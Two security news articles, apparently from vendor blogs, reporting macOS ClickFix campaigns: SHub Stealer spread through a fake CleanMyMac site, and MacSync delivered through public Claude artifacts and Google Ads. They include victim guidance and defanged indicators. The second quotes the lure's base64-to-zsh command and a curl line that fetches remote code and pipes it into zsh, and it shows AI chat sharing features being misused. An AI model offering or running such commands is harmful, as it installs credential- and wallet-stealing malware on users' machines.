detailed wallet targeting, wallet application backdooring, and a heartbeat system capable of running remote commands all suggest an author who studied earlier variants and invested heavily in expanding them. The result resembles a malware-as-a-service platform rather than a simple infostealer. The presence of a DEBUG tag in the malware’s internal identifier, along with the detailed telemetry it sends during execution, suggests the builder was still under active development at the time of analysis. The campaign also fits a broader pattern of brand impersonation attacks. Researchers have documented similar ClickFix campaigns impersonating GitHub repositories, Google Meet, messaging platforms, and other software tools, with each designed to convince users that they are following legitimate installation instructions. The cleanmymacos.org site appears to follow the same playbook, using a well-known Mac utility as the lure. What to do if you may have been affected The most effective part of this attack is also its simplest: it convinces the victim to run the malicious command themselves. By presenting a Terminal command as a legitimate installation step, the campaign sidesteps many of macOS’s built-in protections. No app download is required, no disk image is opened, and no obvious security warning appears. The user simply pastes the command and presses Return. This reflects a broader trend: macOS is becoming a more attractive target, and the tools attackers use are becoming more capable and more professional. SHub Stealer, even in its current state, represents a step beyond many earlier macOS infostealers. For most users, the safest rule is also the simplest: install software only from the App Store or from a developer’s official website. The App Store handles installation automatically, so there is no Terminal command, no guesswork, and no moment where you have to decide whether to trust a random website. Do not run the command. If you have not yet executed the Terminal command shown on cleanmymacos[.]org or a similar site, close the page and do not return. Check for the persistence agent. Open Finder, press Cmd + Shift + G, and navigate to ~/Library/LaunchAgents/ . If you see a file named com.google.keystone.agent.plist that you did not install, delete it. Also check:~/Library/Application Support/Google/ . If a folder named GoogleUpdate.app is present and you did not install it, remove it. Treat your wallet seed phrase as compromised. If you have Exodus, Atomic Wallet, Ledger Live, Ledger Wallet, or Trezor Suite installed and you ran this command, assume your seed phrase and wallet password have been exposed. Move your funds to a new wallet created on a clean device immediately. Seed phrases cannot be changed, and anyone with a copy can access the wallet. Change your passwords. Your macOS login password and any passwords stored in your browser or Keychain should be considered exposed. Change them from a device you trust. Revoke sensitive tokens. If your shell history contained API keys, SSH keys, or developer tokens, revoke and regenerate them. Run Malwarebytes for Mac. It can detect and remove remaining components of the infection, including the LaunchAgent and modified files. Indicators of compromise (IOCs) Domains cleanmymacos[.]org — phishing site impersonating CleanMyMac res2erch-sl0ut[.]com — primary command-and-control server (loader delivery, telemetry, data exfiltration) wallets-gate[.]io — secondary C2 used by wallet backdoors to exfiltrate seed phrases and passwords From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Threat actors are abusing Claude artifacts and Google Ads in ClickFix campaigns that deliver infostealer malware to macOS users searching for specific queries. At least two variants of the malicious activity have been observed in the wild, and more than 10,000 users have accessed the content with dangerous instructions. A Claude artifact is content generated with Antropic’s LLM that has been made public by the author. It can be anything from instructions, guides, chunks of code, or other types of output that are isolated from the main chat and accessible to anyone via links hosted on the claude.ai domain. An artifact's page warns users that the shown content was generated by the user and has not been verified for accuracy. Researchers at MacPaw's investigative division, Moonlock Lab, and at ad-blocking company AdGuard noticed the malicious search results being displayed for multiple queries, like “online DNS resolver,” “macOS CLI disk space analyzer,” and “HomeBrew.” Malicious results promoted on Google Search lead to either a public Claude artifact or a Medium article impersonating Apple Support. In both cases, the user is instructed to paste a shell command into Terminal. In the first variant of the attack, the command given for execution is: ‘echo "..." | base64 -D | zsh,’ while in the second, it’s: ‘true && cur""l -SsLfk --compressed "https://raxelpak[.]com/curl/[hash]" | zsh’ . Moonlock researchers discovered that the malicious Claude guide has already received at least 15,600 views, which could be an indication of the number of users falling for the trick. AdGuard researchers observed the same guide a few days earlier, when it had 12,300 views. Running the command in Terminal fetches a malware loader for the MacSync infostealer, which exfiltrates sensitive information present on the system. According to the researchers, the malware establishes communication with the command-and-control (C2) infrastructure using a hardcoded token and API key, and spoofs a macOS browser user-agent to blend into normal activity. "The response is piped directly to osascript – the AppleScript handles the actual stealing (keychain, browser data, crypto wallets)," the researchers say. The stolen data is packaged into an archive at ‘/tmp/osalogging.zip,’ and then exfiltrated to the attacker's C2 at a2abotnet[.]com/gate via an HTTP POST request. In case of failure, the archive is split into smaller chunks, and exfiltration is retried eight times. After a successful upload, a cleanup step deletes all traces. MoonLock Lab found that both variants fetch the second stage from the same C2 address, indicating that the same threat actor is behind the observed activity. A similar campaign leveraged the chat sharing feature in ChatGPT and Grok to deliver the AMOS infostealer. In December 2025, researchers found the promoted after researchers found ChatGPT and Grok conversations were being leveraged in ClickFix attacks targeting Mac users. The Claude variation of the attack indicates that abuse has expanded to other large language models (LLMs). Users are recommended to exert caution and avoid executing in Terminal commands they don't fully understand. As Kaspersky researchers noted in the past, asking the chatbot in the same conversation about the safety of the provided commands is a straightforward way to determine if they're safe or not. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report